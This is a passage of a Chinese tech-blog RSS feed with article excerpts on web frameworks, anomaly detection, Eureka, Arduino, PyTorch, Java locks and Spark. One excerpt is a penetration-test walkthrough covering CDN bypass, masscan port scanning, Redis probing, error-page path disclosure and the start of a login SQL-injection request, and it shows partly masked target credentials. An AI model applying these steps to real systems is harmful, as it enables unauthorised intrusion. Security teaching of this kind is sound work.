      <description>vue、react、angular 区别 vuereactangular vue Vue.js 是一套渐进式 JavaScript 框架，专注于视图层，易于上手。采用双向数据绑定机制，使得数据驱动视图更新，同时也支持单向数据流。提供了简洁的模板语法和灵活的组件化开发方式，有利于快速构建交互式界面。社区相对较小但快速增长，文档清晰、易于理解。 react React 是由 Facebook 开发的用于构建用户界面的 JavaScript 库，专注于组件化开发。使用虚拟 DOM 技术实现高效的界面更新，提供了一种声明式的编程模式。支持单向数据流，通过状态管理和属性传递来管理组件的状态和数据。生态系统庞大，社区活跃，许多优秀的第三方库和工具可供选择。 angular Angular 是由 Google 开发的完整的前端框架，包含了 MVC 模式的各个部分。提供了完整的解决方案，包括路由、HTTP 模块、表单处理等，适合构建大型应用。采用双向数据绑定，通过指令来扩展 HTML，支持依赖注入和模块化开发。学习曲线较陡峭，需要掌握更多的概念和技术。 以上就是今天所分享的内容，希望对您有所帮助。</description>
    </item>
    <item>
      <title>异常检测从入门到应用</title>
      <link>https://bchobby.github.io/posts/167fed87c70fa32ea1adb610b999090c/</link>
      <pubDate>Sat, 30 Dec 2023 10:05:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/167fed87c70fa32ea1adb610b999090c/</guid>
      <description>点击上方“小白学视觉”，选择加&#34;星标&#34;或“置顶”&#xA;重磅干货，第一时间送达&#xA;作者：成森@知乎&#xA;来源：https://zhuanlan.zhihu.com/p/116235115&#xA;异常检测(Anomaly Detection), 作为机器学习的一个重要分支，实际应用领域广泛，本文作者通过一些有趣的卡通形象作为例子讲解了异常检测的基本概念及分类，并介绍了带标签与不代表标签的异常检测方法和计算过程。&#xA;01&#xA;什么是 Anomaly（异常）？&#xA;虽然说是异常，但其实是以训练集为核心，判断输入数据是否与训练集中的数据 “类似”。在不同的领域可以有不同的叫法，比如：outlier Detection，novelty Detection，exceptions Detection。&#xA;至于什么才是“类似”，它的定义取决于你所用的方法。如下图所示，如果你给的训练集只有雷丘，那么比卡丘就是“异常”；相反，如果你给的训练集是比卡丘，那雷丘就是“异常”。&#xA;什么是异常取决于你所给的训练集&#xA;1.1 问题定义 Problem Formulation 给定一个训练集 我们要找到一个函数来检测 输入 x 是不是属于训练集（是否和训练集的数据属于同一类）&#xA;用来判断是否和训练集属于一类&#xA;1.2 为什么不能用二分类来解决这个问题？ 如上面所说的，所谓“异常”，其实就是看是否和训练集“相似”，虽然我们很容易获得正训练集（如上面的雷丘），但是负训练集我们无法来决定，如果我们用 宝可梦 来作为负训练集来训练二分类，那下次输入一个 亚古兽 呢？这时候二分类模型就无法识别这个没见过的 负样本，而这样的负样本实在是太多了，我们没法穷举。如下图所示。&#xA;负样本的种类太多反而无法用来训练二分类器&#xA;更坏的情况就是，很多情景下，我们没法收集到负样本。比如说刷卡行为，大多数情况都只是正常的交易行为，而盗刷这一类情况就少之又少，甚至（目前）没有。&#xA;所以异常检测无法简化成二分类来实现，这是一个独立的研究主题。&#xA;1.3 异常检测模型分类 根据给出的训练集，我们可以大致将其分成两大类三小类：&#xA;(labeled)训练集中每个样本都有标签，用这些样本来训练一个分类器，这个分类器除了能够识别训练集中已有样本标签外，还能输出 “unknown” 标签，用来表示该输入是“没见过的”、不在训练集中的。我们把它叫做 “open-set recognition（开放式识别）”&#xA;(unlabeled)另一种情况是，我的训练集是没有标签的&#xA;（clean）但这个训练集是“干净”的，我们可以将这个训练集里所有的样本都视为“正样本“;&#xA;（polluted）然而干净的数据集在现实应用中很少，大多数都是或多或少参杂着”异常样本“，而且你无法知道，比如说银行给你大量刷卡数据进行训练，而这些数据里有可能有盗刷的数据且没有标注出来。&#xA;异常检测的两大类三小类&#xA;02&#xA;Labeled（带标签）&#xA;在这里就用 辛普森家族 来举例子。这里有一堆辛普森家族的人物形象及其对应的人物名称（视为标签），这样我们就能训练一个“辛普森角色分类器”，输入一个人物的形象，输出该人物的名称（标签）。&#xA;辛普森家族的人物形象及其名称标签，训练一个分类器&#xA;那我们训练好“辛普森角色分类器”后，这个分类器会输出两类数据：类别（预测的名字）、信心值；然后给定一个阈值 ，当信心度大于这个阈值，就视为“正常值（属于辛普森家族）”，低于则视为“异常值（不属于辛普森家族）”&#xA;分类器的使用&#xA;分类器的输出其实是一个概率分布(distribution)，输出前经过一个 softmax，使得这个分布中的值之和为1，其输出每一项 表示 每一个类别及其对应的信心值；我们将其中的最大值，视为分类器对该输入的信心值.&#xA;除了最高值，我们还可以用 熵（entropy）来决定分类器最后的信心值。&#xA;如下图所示，第一个分类器中，霸子的信心值很高（总体熵低），且其他很低，就说明分类器能够很好地把这个人物形象进行分类，故认为该形象是“正常值”；&#xA;而第二个分类器中，每一类的信心值都不高且均匀（最大值不高，总体熵高），说明分类器没见过该形象，信心不够，没法很好地区分，则可以认为该形象是“异常值”。&#xA;辛普森家族分类器，输出了类别和信心度&#xA;除了用分类器与其输出的分布来 判断 该分类器的信心度，当然还有其他的方式，如下图所说的，不仅输出分布（用来分类），还教分类器直接输出其信心度（直接可以判断是否异常）。</description>
    </item>
    <item>
      <title>【SpringCloud】从实际业务问题出发去分析Eureka-Server端源码</title>
      <link>https://bchobby.github.io/posts/4abc184c20db4dad1f64795dfa0f0db0/</link>
      <pubDate>Sat, 30 Dec 2023 10:00:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4abc184c20db4dad1f64795dfa0f0db0/</guid>
      <description>文章目录 前言1.@EnableEurekaServer2.初始化缓存3.jersey应用程序构建3.1注册jeseryFilter3.2构建JerseyApplication 4.处理注册请求5.registry（） 前言 前段时间遇到了一个业务问题就是k8s滚动发布Eureka微服务的过程中接口会有很多告警，当时想着应该是Ribbon没有同步到实时的Eureka缓存，导致列表中存在下线服务，于是通过Redis手动更新了Ribbon缓存（详细实现可以见上篇文章：通过Redis手动更新Ribbon缓存来解决Eureka微服务架构中服务下线感知的问题）但是那样的方式存在一个弊端即更新缓存的操作并不是“服务下线“这一动作来驱动，而是服务调用方发送请求才会触发（虽然用AOP可以做到无入侵式，不影响业务代码，但却或多或少会影响业务接口耗时）如果不能定位到准确的告警接口，此举会“牵一发而动全身”。基于此我也想过替代方案，比如Eureka-Server端存在两个监听器：&#xA;@EventListener public void listen(EurekaInstanceCanceledEvent event){ log.debug(event.getServerId()+&#34;\t&#34;+event.getAppName()+&#34;服务下线&#34;); } @EventListener public void listen(EurekaInstanceRegisteredEvent event){ InstanceInfo instanceInfo = event.getInstanceInfo(); log.debug(instanceInfo.getId()+&#34;\t&#34;+instanceInfo.getAppName()+&#34;进行注册&#34;); } 可以实时监听Eureka-Client端的注册情况，通过这样一种&#34;服务实时上下线&#34;的事件来驱动，可以完全确保每一次服务上下线都会伴随Ribbon缓存的更新。这样对业务接口就没有了影响，但理想很丰满现实很骨感，在实际中更新的操作不能执行。&#xA;当然也引入了MQ让服务调用方模拟消费者，让服务被调用方模拟生产者来效仿监听器的效果去清理缓存同样也是失败了…&#xA;所以对于每一个服务Eureka到底采取的是什么样的方式来进行注册，分发，我想借今天这个机会来好好整理一下：&#xA;EurekaServer是Netflix开源的服务注册和发现组件，它可以管理和监控集群中各个微服务实例的状态，并提供服务注册、发现和负载均衡的功能。EurekaServer存储了所有可用服务的实例，并根据负载情况将请求转发到不同的实例。&#xA;同样地，分析源码前先从整体流程图入手（手图）：&#xA;1.@EnableEurekaServer 先从入口开始，由于受到了SpringCoud的整合，通过一个注解@EnableEurekaServer就将进程标志成为了服务注册和发现的组件：&#xA;关键点@Import(EurekaServerMarkerConfiguration.class)将该配置类纳入当前的配置中，使得Eureka服务器能够正常运行并提供相关的服务注册和发现功能，进入到EurekaServerMarkerConfiguration中：&#xA;发现在该类中存在一个象征性的Marker类并且被实例化作为Bean注册到了IOC容器中，这让我联想到了ArrayList之所以能够支持元素的随机访问也是因为实现了一个名为RandomAccess的接口，并且该接口下无声明无实现。可谓是有异曲同工之妙~&#xA;回归正题，注释中写到此Bean用于作为标记来加载一个自动配置类：EurekaServerAutoConfiguration，那为什么当加载该自动配置类之后就可以作为服务注册的中间件呢？在这过程中有着以下一系列动作：&#xA;2.初始化缓存 EurekaServerContext&#xA;在EurekaServerContext（Eureka-Server上下文）的实现类DefaultEurekaServerContext中存在一个initialize()方法用于进行服务端的初始化工作：&#xA;主要是初始化Eureka-Server各个节点间的一些基础信息，在这之中特别重要的是在init()方法中初始化了Eureka-server端的响应缓存：&#xA;可以看到的是为了在多线程环境下对于变量responseCache安全初始化，方法加上了synchronized来修饰，初始化的方法也比较直接，传入了配置信息与注册请求就完成了缓存初始化，在该类的有参构造中，做了以下动作：&#xA;对Eurek-Server开启debug,在Register（）方法入口打上断点，启动一个Eurek-Client服务，立即就触发了注册流程，也就是在Eureka-Server核心的一个类AbstractInstanceRegistry中，也是在这个类中一级缓存registry得到了初始化：&#xA;3.jersey应用程序构建 3.1注册jeseryFilter 当上线的微服务要进行注册，他会发送Http注册请求到注册中心中，“不是mvc胜似mvc”但还是存在一点点差异：&#xA;服务端的请求入口是基于Jersey（类似mvc的web层框架）的RestFul方式，当服务上线，会发送http注册请求到Eureka-Server中，该请求会被Eureka内部的控制层框架Jesery中的过滤器拦截（和SpringMVC非常相似）过滤所有的注册请求，过滤器的注册发生在自动加载配置类的过程中：&#xA;JeseryFilter拦截注册请求的行为：&#xA;3.2构建JerseyApplication 当对Eureka-Server中的EurekaServerAutoConfiguration类debug，在该方法中打上断点，他将Eureka服务器所需的资源构建Jersey应用程序对象&#xA;并将返回值作为参数传递到jerseyFilterRegistration（）中作为构建Jersey filter的必要条件&#xA;至此Filter构建完成&#xA;Eureka所进行的心跳连接，服务剔除，服务注册，自我保护都是通过发送http请求的形式，而这些都会被Jersey的过滤器所拦截随即分发到具体的处理类上（类似于Controller）只不过在Eureka中是被名为Resource的处理类来处理，有了他Eureka-Client发送的注册请求才会被分发处理&#xA;4.处理注册请求 注册请求被Jesery拦截，在ApplicationResource类中被处理，就像MVC中的Controller一样在这一层中主要是对Eureka-Client发来的请求做一些校验工作，最后调用实质的注册方法&#xA;其实这不重要，因为他最终还是去调用了Register（）换一个断点：&#xA;5.registry（） 紧接着就是注册流程registry（）开启，开始注册请求的服务实例信息：&#xA;为什么在register（）的最后要去清除特定信息下的缓存，这是为了确保在注册实例后，缓存中的信息是最新的。由于注册实例可能导致缓存中的信息过时，因此需要在注册后进行缓存的重置，以便在下一次访问时能够获取最新的实例信息。</description>
    </item>
    <item>
      <title>【雕爷学编程】Arduino月球基地之使用LowPower库来实现Arduino的休眠模式以节省能耗</title>
      <link>https://bchobby.github.io/posts/f4decc9b9e43fa4afd317ab353a40612/</link>
      <pubDate>Sat, 30 Dec 2023 09:57:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4decc9b9e43fa4afd317ab353a40612/</guid>
      <description>Arduino是一个开放源码的电子原型平台，它可以让你用简单的硬件和软件来创建各种互动的项目。Arduino的核心是一个微控制器板，它可以通过一系列的引脚来连接各种传感器、执行器、显示器等外部设备。Arduino的编程是基于C/C++语言的，你可以使用Arduino IDE（集成开发环境）来编写、编译和上传代码到Arduino板上。Arduino还有一个丰富的库和社区，你可以利用它们来扩展Arduino的功能和学习Arduino的知识。&#xA;Arduino的特点是：&#xA;1、开放源码：Arduino的硬件和软件都是开放源码的，你可以自由地修改、复制和分享它们。&#xA;2、易用：Arduino的硬件和软件都是为初学者和非专业人士设计的，你可以轻松地上手和使用它们。&#xA;3、便宜：Arduino的硬件和软件都是非常经济的，你可以用很低的成本来实现你的想法。&#xA;4、多样：Arduino有多种型号和版本，你可以根据你的需要和喜好来选择合适的Arduino板。&#xA;5、创新：Arduino可以让你用电子的方式来表达你的创意和想象，你可以用Arduino来制作各种有趣和有用的项目，如机器人、智能家居、艺术装置等。&#xA;Arduino月球基地场景的主要特点：&#xA;1、模拟月球环境：Arduino月球基地场景通过使用适当的材料和技术，可以模拟月球表面的特殊环境，如低重力、极端温度、有限资源等。这样的模拟环境可以提供更真实的学习和实践体验，帮助学生更好地理解和应对未来月球探索任务中可能面临的挑战。&#xA;2、多学科交叉应用：Arduino月球基地场景涉及多个学科领域的知识和技能，如电子工程、计算机编程、机械设计等。学生可以在实践中将这些学科进行有机结合，培养跨学科思维和解决问题的能力。&#xA;3、实践性和互动性：通过使用Arduino智能展板和其他设备，学生可以进行实际的设计、构建和控制操作。他们能够亲自动手实践，编写代码、搭建电路、测试传感器等，从而增强实践能力和技术应用水平。&#xA;4、创新性和个性化：Arduino月球基地场景鼓励学生的创造力和创新思维。他们可以自主设计和改进各种设备和系统，实现个性化的功能和解决方案，从而培养创新精神和独立思考能力。&#xA;Arduino月球基地场景的核心优势：&#xA;1、低成本和易用性：Arduino开发平台具有相对较低的成本，并且易于学习和使用。它提供了简单而强大的编程工具和硬件模块，使学生能够快速入门，并进行各种实践活动。&#xA;2、开放性和社区支持：Arduino是一个开放源代码的平台，拥有庞大的用户社区和资源库。学生可以从社区中获取丰富的教程、示例代码和项目案例，与其他用户交流经验，加速学习和创新过程。&#xA;3、可扩展性和灵活性：Arduino平台可以与各种传感器、执行器和其他扩展模块进行集成，以满足不同实训需求。学生可以根据具体要求进行系统扩展和定制，实现更复杂的功能和应用。&#xA;Arduino月球基地场景的局限性：&#xA;1、硬件限制：Arduino平台的硬件资源有限，例如处理器速度、存储容量和输入输出接口等。这可能限制了一些复杂任务和高性能应用的实现。&#xA;2、专业性和深度：尽管Arduino平台提供了广泛的学习和实践机会，但在某些专业领域的深度学习和研究方面可能存在局限性。对于一些更复杂的科学实验和工程项目，可能需要更专业的硬件平台和软件工具。&#xA;3、环境模拟的限制：尽管Arduino月球基地场景可以模拟月球环境的某些特征，但在实现完全准确的模拟方面仍然存在局限性。例如，无法完全模拟月球的真实重力和气候条件。&#xA;综上所述，Arduino月球基地场景具有模拟月球环境、多学科交叉应用、实践性和互动性的特点。其核心优势在于低成本易用、开放性社区支持和可扩展性，可以满足学生的学习和实践需求。然而，Arduino平台的硬件限制、专业性和深度方面的局限性，以及环境模拟的限制，可能对某些复杂任务和专业应用造成一定的限制。因此，在设计和实施Arduino月球基地场景时，需要根据实际需求和目标权衡这些局限性，并结合其他适当的教学工具和资源，以提供更全面和深入的学习体验。&#xA;使用LowPower库可以帮助实现Arduino的休眠模式，以节省能耗。下面我将从主要特点、应用场景和需要注意的事项三个方面进行详细解释。&#xA;主要特点：&#xA;低功耗模式：LowPower库提供了多种低功耗模式供选择，如睡眠模式、待机模式和掉电模式等。在这些模式下，Arduino的主要部分将进入休眠状态，以大幅降低功耗，从而延长电池寿命或减少能源消耗。&#xA;灵活的配置选项：LowPower库允许用户根据具体需求来配置休眠模式的参数。可以通过设置休眠时间、唤醒源和唤醒事件等来实现定制化的休眠控制，以最大程度地平衡能耗和功能需求。&#xA;简单易用：LowPower库提供了简洁的函数接口，使得在Arduino项目中实现休眠模式变得简单易用。用户只需调用相应的函数即可将Arduino进入休眠状态，无需复杂的编程操作。&#xA;应用场景：&#xA;电池供电设备：在需要长时间运行且使用电池供电的Arduino项目中，使用LowPower库的休眠模式可以大幅延长电池寿命。例如，远程传感器网络、无线监测系统等应用场景中，Arduino可以通过休眠模式实现周期性的数据采集和传输，同时在非工作时段进入低功耗状态以节省能源。&#xA;科研探测器：在科学探测任务中，如行星探测、天文观测等，能源供应通常有限。使用LowPower库的休眠模式可以帮助延长探测器的工作时间，同时减少能源消耗。Arduino可以在休眠模式下实现周期性的数据采集、测量和存储，从而实现长期和低功耗的科学观测。&#xA;物联网应用：在物联网应用中，大量的设备需要长时间运行且使用有限的能源。通过使用LowPower库的休眠模式，可以降低设备的功耗，延长电池寿命，并实现低成本、低功耗的物联网解决方案。例如，环境监测、智能家居和农业自动化等领域都可以受益于使用休眠模式来节省能耗。&#xA;需要注意的事项：&#xA;唤醒源选择：在使用LowPower库的休眠模式时，需要选择合适的唤醒源来触发Arduino的唤醒。可以使用定时器、外部中断、传感器等作为唤醒源，但需要根据具体应用场景和需求选择合适的唤醒方式。&#xA;功能限制：在休眠模式下，Arduino的大部分功能将处于停止状态，只有少数功能和引脚处于活动状态。因此，在设计项目时需要合理评估功能需求，并确保在休眠模式下仍能满足项目的基本功能要求。&#xA;时序和延迟：进入休眠模式和唤醒后恢复正常工作的过程中会存在一定的时序和延迟。在涉及到实时性要求较高的应用中，需要仔细评估休眠模式的延迟特性，以确保不会对系统产生不可接受的影响。&#xA;电源管理：使用休眠模式时，需要注意合理管理电源供应。例如，在进入休眠模式之前，可以关闭不必要的外设和模块，以减少待机功耗。此外，还可以考虑使用低功耗的电源管理芯片或电池管理电路来优化能源利用效率。&#xA;总结起来，使用LowPower库的休眠模式可以帮助Arduino在项目中实现低功耗操作，以节省能耗。它具有低功耗模式、灵活的配置选项和简单易用等主要特点。适用于电池供电设备、科研探测器和物联网应用等场景。在使用过程中需要注意选择适当的唤醒源、功能限制、时序和延迟，以及合理的电源管理。这样可以确保休眠模式的稳定性和可靠性，从而有效降低能耗并延长设备的工作时间。&#xA;案例1：Arduino周期性休眠唤醒&#xA;#include &amp;lt;LowPower.h&amp;gt; void setup() { Serial.begin(9600); while (!Serial); } void loop() { Serial.println(&#34;Awake&#34;); delay(1000); // 模拟一些活动 // 进入休眠模式，持续8秒钟 LowPower.sleep(8000); } 要点解读：&#xA;该程序使用LowPower库实现了Arduino的周期性休眠唤醒。&#xA;在setup函数中，初始化串口通信。&#xA;在loop函数中，打印&#34;Awake&#34;表示唤醒状态，并延迟一段时间模拟一些活动。&#xA;使用LowPower.sleep函数将Arduino进入休眠模式，持续8秒钟。&#xA;案例2：Arduino根据外部中断唤醒&#xA;#include &amp;lt;LowPower.h&amp;gt; #define INTERRUPT_PIN 2 void setup() { Serial.</description>
    </item>
    <item>
      <title>mac m1芯片 pytorch安装及gpu性能测试</title>
      <link>https://bchobby.github.io/posts/55e9372bc1e200527147080f24c353d6/</link>
      <pubDate>Sat, 30 Dec 2023 09:40:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55e9372bc1e200527147080f24c353d6/</guid>
      <description>pytorch 使用mac的m1芯片进行模型训练。&#xA;#小结：在数据量小和模型参数少，batch_size小时，cpu训练更快（原因：每次训练时数据需要放入GPU中，由于batch_size小。数据放入gpu比模型计算时间还长）&#xA;在数据量大（或者batch size大）或者模型参数多时，使用GPU训练优势明显&#xA;当模型参数大于100w时，使用GPU比CPU开始有优势&#xA;注意mac gpu device是 mps ,不是cudn. device= torch.device(“mps”)&#xA;1 pytorch 安装及gpu验证 1.1 安装 mac需要安装 night 版本的pytorch&#xA;mac安装官网地址&#xA;conda install pytorch torchvision torchaudio -c pytorch-nightly # 或者 pip3 install --pre torch torchvision torchaudio --extra-index-url https://download.pytorch.org/whl/nightly/cpu 1.2 gpu验证 主要是执行：torch.backends.mps.is_available()&#xA;以下代码输出： tensor([1.], device=‘mps:0’)&#xA;import torch if torch.backends.mps.is_available(): mps_device = torch.device(&#34;mps&#34;) x = torch.ones(1, device=mps_device) print (x) else: print (&#34;MPS device not found.&#34;) 2 mac m1芯片验证 实验1 ：batch_size=32, 模型参数 parameter_num=476,720</description>
    </item>
    <item>
      <title>（附源码）django评论热点分析系统 计算机毕设46210</title>
      <link>https://bchobby.github.io/posts/860a6d9d3feda2bf87669d9652899125/</link>
      <pubDate>Sat, 30 Dec 2023 09:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/860a6d9d3feda2bf87669d9652899125/</guid>
      <description>目 录&#xA;摘要 1 绪论 1.1 研究意义 1.2 国内外发展现状 1.3 研究方法 1.4 论文结构与章节安排 1.5 开发技术 2 评论热点分析系统系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1 数据增加流程 2.2.2 数据修改流程 2.2.3 数据删除流程 2.3 系统功能分析 2.3.1 功能性分析 2.3.2 非功能性分析 2.4 系统用例分析 2.5本章小结 3 评论热点分析系统总体设计 3.1 系统架构设计 3.2 系统功能模块设计 3.2.1整体功能模块设计 3.2.2用户模块设计 3.2.3 评论数据管理模块设计 3.2.4 热搜微博数据管理模块设计 3.3 数据库设计 3.3.1 数据库概念结构设计 3.3.2 数据库逻辑结构设计 3.4本章小结 4 评论热点分析系统详细设计与实现 4.1用户功能模块 4.2管理员功能模块 5系统测试 5.1 系统测试用例 5.2 系统测试结果 结论 参考文献 致 谢 摘要</description>
    </item>
    <item>
      <title>理解 AQS 和 ReentrantLock</title>
      <link>https://bchobby.github.io/posts/9b05635882100b85eff028a470c8d85a/</link>
      <pubDate>Sat, 30 Dec 2023 09:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b05635882100b85eff028a470c8d85a/</guid>
      <description>其他系列文章导航 Java基础合集&#xA;数据结构与算法合集&#xA;设计模式合集&#xA;多线程合集&#xA;分布式合集&#xA;ES合集&#xA;文章目录 其他系列文章导航&#xA;文章目录&#xA;前言&#xA;一、公平锁和非公平锁&#xA;1.1 含义&#xA;1.2 如何自我实现&#xA;1.2.1 公平锁实现：&#xA;1.2.2 非公平锁实现:&#xA;1.2.3 公平和非公平的区别:&#xA;二、AQS&#xA;2.1 AQS 的含义&#xA;三、ReentrantLock&#xA;3.1 ReentrantLock 加锁和解锁的过程&#xA;四、总结&#xA;前言 在多线程编程中，同步机制是确保线程安全的关键。AQS（AbstractQueuedSynchronizer）和ReentrantLock是Java中两种常见的同步机制，它们各自具有不同的特性和适用场景。&#xA;了解和掌握这两种机制对于编写高效、安全的并发程序至关重要。&#xA;这篇文章将带你取了解和掌握这两种机制！&#xA;一、公平锁和非公平锁 1.1 含义 公平锁:在竞争环境下，先到临界区的线程比后到的线程一定更快地获取得到锁。非公平锁:先到临界区的线程未必比后到的线程更快地获取得到锁。 1.2 如何自我实现 1.2.1 公平锁实现： 可以把竞争的线程放在一个先进先出的队列上。只要持有锁的线程执行完了，唤醒队列的下一个线程去获取锁就好了。&#xA;公平锁的实现通常涉及到线程同步和队列的概念。在Java中，java.util.concurrent.locks.ReentrantLock是一个常用的公平锁实现。公平锁保证了线程按照请求锁的顺序获取锁，即先来先服务（First In First Out，FIFO）。&#xA;下面是一个简单的公平锁实现的例子：&#xA;import java.util.concurrent.locks.ReentrantLock; import java.util.concurrent.locks.Condition; import java.util.Queue; import java.util.LinkedList; public class FairLockExample { private final ReentrantLock lock = new ReentrantLock(true); // 创建一个公平锁 private final Condition condition = lock.</description>
    </item>
    <item>
      <title>Jupyter Notebook又一地理数据可视化扩展！</title>
      <link>https://bchobby.github.io/posts/e1b6b9c24365b4fe4f194eb15039b33b/</link>
      <pubDate>Sat, 30 Dec 2023 09:28:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1b6b9c24365b4fe4f194eb15039b33b/</guid>
      <description>本次分享一个Jupyter Notebook地理数据可视化扩展：pyl7vp&#xA;pyl7vp=Python+l7vp，如其名，是l7vp在Python3方向的封装，l7vp是蚂蚁集团AntV数据可视化团队开发的地理空间智能应用研发开源平台。&#xA;通过pyl7vp可在Jupyter Notebook中轻松完成地理数据交互式分析！&#xA;pyl7vp安装 pip install pyl7vp -i https://pypi.tuna.tsinghua.edu.cn/simple pyl7vp使用 下面通过一个小例子快速开始pyl7vp使用，&#xA;创建一个空地图 # 创建一个空地图 from pyl7vp import L7VP l7vp_map = L7VP(height=300) l7vp_map.show() 导入数据 # 导入数据 import pandas as pd df = pd.DataFrame( {&#39;longitude&#39;: [105.005, 104.602, 103.665, 105.275],#经度 &#39;latitude&#39;: [32.349, 32.067, 31.29, 32.416],#纬度 &#39;mag&#39;: [5.2, 3.0, 6.0, 2.0] #震级 }) df pyl7vp可支持多种格式地理数据，例如Python pandas.DataFrame、CSV、Python list、JSON、GeoJSON、数据里嵌入WKT、数据里嵌入 H3 空间索引、Excel、Shapefile等等。&#xA;添加数据到地图上 # 添加数据到地图上 l7vp_map.add_dataset({&#34;id&#34;: &#34;20231211&#34;, &#34;type&#34;: &#39;local&#39;, &#34;data&#34;: df}) l7vp_map.show() 地图个性化 以上几步可以初步完成一个基础地图，pyl7vp还有很多个性化的功能可对数据定制配置。</description>
    </item>
    <item>
      <title>手工漏洞挖掘渗透某服务器</title>
      <link>https://bchobby.github.io/posts/d575cd491e1f13b6b1e74e121770b2f0/</link>
      <pubDate>Sat, 30 Dec 2023 09:15:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d575cd491e1f13b6b1e74e121770b2f0/</guid>
      <description>对于给定授权网站的渗透，可以通过漏洞扫描工具进行扫描，也可以通过手工挖掘，特别是获取sql注入漏洞，通过注入漏洞配合其它漏洞来逐步获取webshell，甚至服务器权限，在本文中涉及详细信息收集、sql注入、后台密码加密分析、redis漏洞利用等，算是一篇经典的手工漏洞挖掘渗透案例，具有学习价值。&#xA;1.1信息收集 1.域名信息收集&#xA;（1）nslookup查询&#xA;通过nslookup对 qd.******.*****.cn进行查询，如图1所示，获取的信息是cdn，无法获取真实IP地址信息，后面通过https://www.yougetsignal.com/tools/web-sites-on-web-server/进行域名查询，每次查询的域名对应IP地址结果都在变化，说明用了cdn加速技术。&#xA;图1dns查询&#xA;（2）toolbar.netcraft.com&#xA;还以用toolbar.netcraft.com进行检测：https://toolbar.netcraft.com/site_report?url=qd.******.*****.cn#last_reboot，其结果如图2所示，IP地址为122.72.**.1**。&#xA;图2toolbar查询ip地址&#xA;2.获取真实IP地址&#xA;目标站点**.******.*****.cn使用账号和密码（1773**5216 /zyl**29122）进行登录，通过burpsuite进行抓包，发现有一个获取websocket url的ajax请求：&#xA;ws://***.**.**.**:1234?uid=304519&amp;amp;subscribe=1&amp;amp;ticks=636570586031103379&amp;amp;stock=&amp;amp;key=89853473962f954c0c9aa96e13f55f22&#xA;3.使用masscan进行端口扫描&#xA;（1）masscan安装&#xA;git clone https://github.com/robertdavidgraham/masscan.git&#xA;cd masscan&#xA;make&#xA;make install&#xA;（2）使用masscan扫描目标所有端口地址&#xA;masscan -p 1-65535 ***.**.**.** 扫描后可以看到其端口开放情况，如图3所示。&#xA;图3端口开放情况&#xA;通过实际访问，1234、1235和7780对外提供web服务，61315为远程终端，3357和26379经过telnet或者nc 发送keys *，能确定其中有两个redis端口，其中3357端口是redis并且存在认证，通过auth “123456” 简单尝试弱口令失败。&#xA;4.获取物理路径信息&#xA;输入地址**.********.com/Integral/My/ProductDetail.aspx?id=1在出错信息中获取其真实目录地址为d:\www\font\Plugins\IntegralMall.Plugins\Integral\My\ProductDetail.aspx，如图4所示。&#xA;图4获取真实地址信息&#xA;1.2sql注入 1.主站登录框注入&#xA;通过burpsuite对登录过程进行抓包，发现其存在sql注入，构造playload进行测试：&#xA;POST /account/Login HTTP/1.1&#xA;Host: www.******.*****.cn&#xA;Content-Length: 97&#xA;Accept: application/json, text/javascript, */*; q=0.01&#xA;Origin: http://www.******.*****.cn&#xA;X-Requested-With: XMLHttpRequest&#xA;User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.</description>
    </item>
    <item>
      <title>大数据学习(30)-Spark Shuffle</title>
      <link>https://bchobby.github.io/posts/ea9dc11c5a09b066961066c43ed94100/</link>
      <pubDate>Sat, 30 Dec 2023 09:07:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea9dc11c5a09b066961066c43ed94100/</guid>
      <description>&amp;amp;&amp;amp;大数据学习&amp;amp;&amp;amp; 🔥系列专栏： 👑哲学语录: 承认自己的无知，乃是开启智慧的大门&#xA;💖如果觉得博主的文章还不错的话，请点赞👍+收藏⭐️+留言📝支持一下博主哦🤞 Spark Shuffle Map 和 Reduce 在Shuffle过程中. 提供数据的称之为Map端(Shuffle Write) 接收数据的 称之为 Reduce端(Shuffle Read) 在Spark的两个阶段中, 总是前一个阶段产生 一批Map提供数据, 下一阶段产生一批Reduce接收数据。 Spark 提供2种Shuffle管理器: • HashShuffleManager • SortShuffleManager 优化后 基本和未优化的一致,不同点在于 1. 在一个Executor内, 不同Task是共享Buffer缓冲区 2. 这样减少了缓冲区乃至写入磁盘文件的数量, 提高性能 SortShuffleManager SortShuffleManager的运行机制主要分成两种，一种是普通运行机制，另一种是bypass运行机制。 bypass运行机制的触发条件如下： 1)shuffle map task 数量小于 spark.shuffle.sort.bypassMergeThre shold=200 参数的值。 2) 不是聚合类的 shuffle 算子 ( 比如 reduceByKey) 。 同普通机制基本类同 , 区别在于 , 写入磁盘临时文件的时候不会在内 存中进行排序 而是直接写 , 最终合并为一个 task 一个最终文件 所以和普通模式 IDE 区别在于 : 第一，磁盘写机制不同; 第二，不会进行排序。也就是说，启用该机制的最大好处在于， shuffle write 过程中，不需要进行数据的排序操作，也就节省掉了 这部分的性能开销。 1.</description>
    </item>
    <item>
      <title>如何在Vue.js中使用$emit进行组件通信</title>
      <link>https://bchobby.github.io/posts/7e8e1999bed184d04ee488d09e1154fd/</link>
      <pubDate>Sat, 30 Dec 2023 08:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e8e1999bed184d04ee488d09e1154fd/</guid>
